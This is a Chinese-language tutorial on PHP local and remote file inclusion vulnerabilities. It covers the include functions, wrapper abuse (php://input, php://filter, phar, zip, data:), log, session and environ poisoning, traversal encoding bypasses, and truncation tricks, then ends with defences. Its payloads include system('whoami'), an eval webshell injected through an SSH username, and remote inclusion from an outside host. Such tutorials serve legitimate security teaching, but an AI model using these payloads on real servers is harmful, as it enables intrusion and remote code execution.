相关函数
php中引发文件包含漏洞的通常是以下四个函数:
1 | 1.include() |
以上前4个函数的区别
include() 如果出错的话,只会提出警告,会继续执行后续语句。
reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。
include_once()、require_once()功能与上述两者几乎相同。不同的是如果一个文件已经被包含了,则不会被再次包含,以此避免函数重定义或者变量重新赋值等问题。
利用这四个函数所包含的文件都会被直接作为php文件进行解析。
test1
1 |
|
若在同一目录下有文件info.txt,内容为 那么访问:
1 | xxxx?file=info.txt |
即可成功解析phpinfo
分类
LFI(Local File Inclusion)
本地文件包含漏洞,即是指能打开并包含本地文件的漏洞。
test1即为本地文件包含漏洞
RFI(Remote File Inclusion)
远程文件包含漏洞,即是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。
但 RFI(Remote File Inclusion) 的利用需要条件,在php.ini中进行配置
1 | 1.allow_url_fopen = On |
当两个配置均开启时,才能够远程包含文件成功
phpini中, allow_url_fopen = On 默认时一直为On,但 allow_url_include 从php5.2之后就默认为off
包含技巧
下面例子中测试代码均为:
1 | include.php: |
allow_url_fopen 默认为 On
allow_url_include 默认为 Off
若有特殊要求,会在利用条件里指出
php伪协议
php://input
利用条件:
1 | 1.allow_url_include = On |
1 | xxx/include.php?file=php://input |
php://filter
这个是一个过滤器,里面的过滤方法很多,我们如果不想执行被包含的代码,我们就可以使用base64 编码输出,通常用来读取源码
php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定
1 | include.php?file=php://filter/read=convert.base64-encode/resource=flag.txt |
通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一样,少了read等关键字。在绕过一些waf时也许有用
1 | resource=<要过滤的数据流> 这个参数是必须的,且必须位于 php://filter 的末尾,并且指向需要过滤筛选的数据流。 |
1 | 注意点: |
过滤器
(1)字符串过滤器
|:————:|:————-:|
|string.rot13|进行rot13转换|
|string.toupper|将字符全部大写|
|string.tolower|将字符全部小写|
|string.strip_tags|去除空字符、HTML 和 PHP 标记后的结果|
(2)转换过滤器
|:————:|:————-:|
|convert.base64-encode|base64 编码|
|convert.base64-decode|base64 解码|
|convert.quoted-printable-encode|quoted-printable 编码(也是另一种将二进制进行编码的方案)|
|convert.quoted-printable-decode|quoted-printable 解码|
|convert.iconv|实现任意两种编码之间的转换|
(3)压缩过滤器
|:————:|:————-:|
|zlib.deflate|压缩过滤器|
|zlib.inflate|解压过滤器|
|bzip2.compress|压缩过滤器|
|bzip2.decompress|解压过滤器|
(4)加密过滤器
|:————:|:————-:|
|mcrypt.|加密过滤器|
|mdecrypt.|解密过滤器|
实例
1 | readfile(“php://filter/resource=http://www.example.com"); |
特别提一下这个过滤器convert.iconv
这个过滤器能实现几乎任意的两种编码之间的转化
1 | php://filter/read=convert.iconv.UTF-8%2FASCII%2F%2FTRANSLIT/resource=... |
phar://
利用条件:php版本大于等于php5.3.0
假设有个文件info.txt,其内容为,将其打包为zip压缩包
指定绝对路径
1 | include.php?file=phar://D:/software/phpstudy/PHPTutorial/WWW/test/info.zip/info.txt |
或者使用相对路径(这里test.zip就在当前目录下)
1 | include.php?file=phar://info.zip/info.txt |
使用phar://拓展php反序列化攻击面
zip://
利用条件:php版本大于等于php5.3.0
构造zip包的方法与phar相同
但使用zip协议,需要指定绝对路径,注意url编码,因为这个 # 会和url协议中的 # 冲突,将 # 编码为 %23 ,之后加上压缩包内的问件
1 | include.php?file=zip://D:/software/phpstudy/PHPTutorial/WWW/test/info.zip%23info.txt |
data:URL schema
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;
和php伪协议的input类似
利用条件:
1.php版本大于等于php5.2
2.allow_url_fopen = On
3.allow_url_include = On
data:text/plain
输出直接显示在相应的URL中,显示参数:data:text/plain。
然后你需要执行如下所示的php代码:
1 | include.php?file=data:text/plain,<?php phpinfo();?> |
执行命令:
1 | include.php?file=data:text/plain,<?php system('whoami');?> |
data:text/plain;base64
有另一种方法来使用data: text/plain; base64,不过此时你需要使用base64编码来执行PHP代码,base64php代码如下所示:
1 | include.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b |
其中加号+的url编码为%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解码为:
包含session
利用条件:session文件路径已知,且其中内容部分可控
php的session文件的保存路径可以在phpinfo的session.save_path看到
常见的php-session存放位置:
1 | 1./var/lib/php/sess_PHPSESSID |
session的文件名格式为sess_[phpsessid]。而phpsessid在发送的请求的cookie字段中可以看到
要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码
包含日志
访问日志
利用条件:需要知道服务器日志的存储路径,且日志文件可读
开启日志
SSH log
利用条件:需要知道ssh-logd位置,且可读。
默认情况下为/var/log/auth.log
用ssh连接:
1 | ssh '<?php @eval($_GET['dd']) ?>'@remotehost |
提示输入密码随便输入即可。
然后在remotehost的ssh-log中即可写入php代码
1 | include.php?file=/var/log/auth.log&dd=ifconfig |
包含environ
利用条件:
1.php以cgi方式运行,这样environ才会保持UA头
2.environ文件存储位置已知,且environ文件刻度
proc/self/environ中会保存user-agent头。如果在user-agent中插入php代码,则php代码会被写入到environ中。之后再包含它,即可。
包含fd
与包含environ类似
包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可
类似利用临时文件的存在,竞争时间去包含的,可以看:XMAN夏令营-2017-babyweb-writeup
绕过技巧
平常碰到的情况肯定不会是简简单单的include $_GET[‘file’];这样直接把变量传入包含函数的。在很多时候包含的变量/文件不是完全可控的,比如下面这段代码指定了前缀和后缀:
1 |
|
这样就很“难”直接去包含前面提到的种种文件
指定前缀
1 |
|
目录遍历
./当前目录,../上一级目录,这样的遍历目录来读取文件
现在在/var/log/info.txt文件中有php代码 ,则利用../可以进行目录遍历:
1 | include.php?file=../../log/info.txt |
则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,也即/var/log/test.txt。从而包含成功
编码绕过
服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
一.利用url编码
1.**../**
1) %2e%2e%2f
2) ..%2f
3) %2e%2e/
2.**..\**
1) %2e%2e%5c
2) ..%5c
3) %2e%2e\二.二次编码
1.**../**
1) %252e%252e%252f
2.**..\**
1) %252e%252e%255c三.容器/服务器的编码方式
1.**../**
1) ..%c0%af
2) %c0%ae%c0%ae/ (java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点))
2.**..\**
1) ..%c1%9c指定后缀
1 |
|
URL
url格式
1 | protocol :// hostname[:port] / path / [;parameters][?query]#fragment |
在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制
query(?)
1 | include?file=http://remoteaddr/remoteinfo.txt? |
那么包含的文件就为http://remoteaddr/remoteinfo.txt?/test/test.php
问号后面的部分/test/test.php,也就是指定的后缀被当作query从而被绕过的
fragment(#)
1 | include.php?file=http://remoteaddr/remoteinfo.txt%23 |
那么包含的文件为http://remoteaddr/remoteinfo.txt#/test/test.php
#后面的部分/test/test.php,也就是指定的后缀被当作fragment从而被绕过。(注意:需要把#进行url编码为%23)
利用协议
前面提到过利用zip协议和phar协议,现在假设测试代码为:
1 |
|
构造个压缩包,包内的test.php的内容为:
1 | phpinfo(); |
利用zip协议(注意要指定绝对路径)
1 | include.php?file=zip://D:/software/phpstudy/PHPTutorial/WWW/test/chybeta.zip%23chybeta |
那么拼接后则为:zip://D:/software/phpstudy/PHPTutorial/WWW/test/chybeta.zip#chybeta/test/test.php
长度截断
利用条件:php版本 < php 5.2.8
目录字符串,在Linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
1 | include.php?file=././././........././././shell.txt |
则后缀/test/test.php,在达到最大值后会被直接丢弃掉
0字节截断
利用条件:php版本 < php 5.3.4
1 | include.php?file=phpinfo.txt%00 |
防御手法
1.无需情况下设置allow_url_include和allow_url_fopen为关闭
2.在很多场景中都需要去包含web目录之外的文件,如果php配置了open_basedir,则会包含失败
3.做好文件的权限管理
4.对危险字符进行过滤等等
5.尽量不使用动态包含
6.本地包含配合apache日志拿shell——条件:如果包含不成功,也许是open_basedir限制了目录???
常见几个路径:
/var/log/apache/access_log
/var/www/logs/access_log
/var/log/access_log
更多见上面的路径收集
利用/proc/self/environ进行包含
包含session文件
session文件一般在/tmp目录下,格式为sess_[phpsessid]
包含其他由php创建的tmp文件
上传一个文件的过程,可以在tmp那里包含
jpg
向服务器上任意php文件以form-data方式提交请求上传数据时,会生成临时文件,通过phpinfo来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到webshell。